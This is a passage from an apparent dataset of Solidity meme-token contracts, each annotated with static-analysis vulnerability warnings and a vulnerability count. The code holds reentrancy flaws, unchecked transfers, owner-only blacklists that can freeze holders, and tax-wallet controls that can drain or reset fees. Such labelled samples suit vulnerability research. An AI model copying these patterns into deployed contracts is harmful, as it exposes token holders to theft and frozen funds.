ID: f6a226a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3524618): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3524618: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f137e09): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f137e09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4fac269): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4fac269: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3524618\n\t\t\t\t// reentrancy-benign | ID: f137e09\n\t\t\t\t// reentrancy-eth | ID: 4fac269\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3524618\n\t\t\t\t\t// reentrancy-eth | ID: 4fac269\n balanceETHsave(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4fac269\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4fac269\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4fac269\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: f137e09\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 3524618\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4fac269\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4fac269\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3524618\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTxLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTaxes() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function swapBackSettings(bool enabled, uint256 swapThreshold) external {\n require(_msgSender() == _taxWallet);\n\n taxAmount = swapThreshold;\n\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e493f88): DarkJanet.balanceETHsave(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e493f88: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function balanceETHsave(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3524618\n\t\t// reentrancy-events | ID: f6a226a\n\t\t// reentrancy-eth | ID: 4fac269\n\t\t// arbitrary-send-eth | ID: e493f88\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a8cf04a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a8cf04a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9dd2b28): DarkJanet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9dd2b28: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4e553a6): DarkJanet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4e553a6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 475420b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 475420b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: a8cf04a\n\t\t\t// reentrancy-eth | ID: 475420b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: a8cf04a\n\t\t// unused-return | ID: 9dd2b28\n\t\t// reentrancy-eth | ID: 475420b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a8cf04a\n\t\t// unused-return | ID: 4e553a6\n\t\t// reentrancy-eth | ID: 475420b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a8cf04a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 475420b\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3524618\n\t\t// reentrancy-events | ID: f6a226a\n\t\t// reentrancy-benign | ID: d2a93b6\n\t\t// reentrancy-benign | ID: f137e09\n\t\t// reentrancy-eth | ID: 4fac269\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1fc1c03): DarkJanet.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 1fc1c03: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 1fc1c03\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n balanceETHsave(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10260.sol",
"size_bytes": 22082,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b12985e): MAGA._taxWallet should be immutable \n\t// Recommendation for b12985e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94ffaad): MAGA._initialBuyTax should be constant \n\t// Recommendation for 94ffaad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b02b7c9): MAGA._initialSellTax should be constant \n\t// Recommendation for b02b7c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0602a1): MAGA._reduceBuyTaxAt should be constant \n\t// Recommendation for a0602a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6457a): MAGA._reduceSellTaxAt should be constant \n\t// Recommendation for fe6457a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: aee60e1): MAGA._preventSwapBefore should be constant \n\t// Recommendation for aee60e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Forever Trump\";\n\n string private constant _symbol = unicode\"MAGA\";\n\n uint256 public _maxTxAmount = 3000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1642ffc): MAGA._taxSwapThreshold should be constant \n\t// Recommendation for 1642ffc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1551d35): MAGA._maxTaxSwap should be constant \n\t// Recommendation for 1551d35: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fba9ebe): MAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fba9ebe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a17de8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a17de8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a03b6f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a03b6f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8a17de8\n\t\t// reentrancy-benign | ID: a03b6f7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8a17de8\n\t\t// reentrancy-benign | ID: a03b6f7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37b64ef): MAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37b64ef: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a03b6f7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8a17de8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 539ffd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 539ffd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 445ed16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 445ed16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 539ffd2\n\t\t\t\t// reentrancy-eth | ID: 445ed16\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 539ffd2\n\t\t\t\t\t// reentrancy-eth | ID: 445ed16\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 445ed16\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 445ed16\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 445ed16\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 539ffd2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 445ed16\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 445ed16\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 539ffd2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 539ffd2\n\t\t// reentrancy-events | ID: 8a17de8\n\t\t// reentrancy-benign | ID: a03b6f7\n\t\t// reentrancy-eth | ID: 445ed16\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 48fbf6f): MAGA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 48fbf6f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 539ffd2\n\t\t// reentrancy-events | ID: 8a17de8\n\t\t// reentrancy-eth | ID: 445ed16\n\t\t// arbitrary-send-eth | ID: 48fbf6f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7dbc085): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7dbc085: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7f24576): MAGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7f24576: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 61872b5): MAGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 61872b5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3249cff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3249cff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7dbc085\n\t\t// reentrancy-eth | ID: 3249cff\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7dbc085\n\t\t// unused-return | ID: 7f24576\n\t\t// reentrancy-eth | ID: 3249cff\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7dbc085\n\t\t// unused-return | ID: 61872b5\n\t\t// reentrancy-eth | ID: 3249cff\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7dbc085\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3249cff\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10261.sol",
"size_bytes": 19469,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract PECTRA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => mapping(address => uint256)) private _ollowances;\n\n mapping(address => bool) private _isExcludedFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 6ca0428): PECTRA._bots is never initialized. It is used in PECTRA._transfer(address,address,uint256)\n\t// Recommendation for 6ca0428: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7cf126a): PECTRA._taxWallet should be immutable \n\t// Recommendation for 7cf126a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pectra\";\n\n string private constant _symbol = unicode\"PECTRA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 02b741f): PECTRA._rTotal should be constant \n\t// Recommendation for 02b741f: Add the 'constant' attribute to state variables that never change.\n uint256 public _rTotal = (_tTotal * 100) / 2;\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | 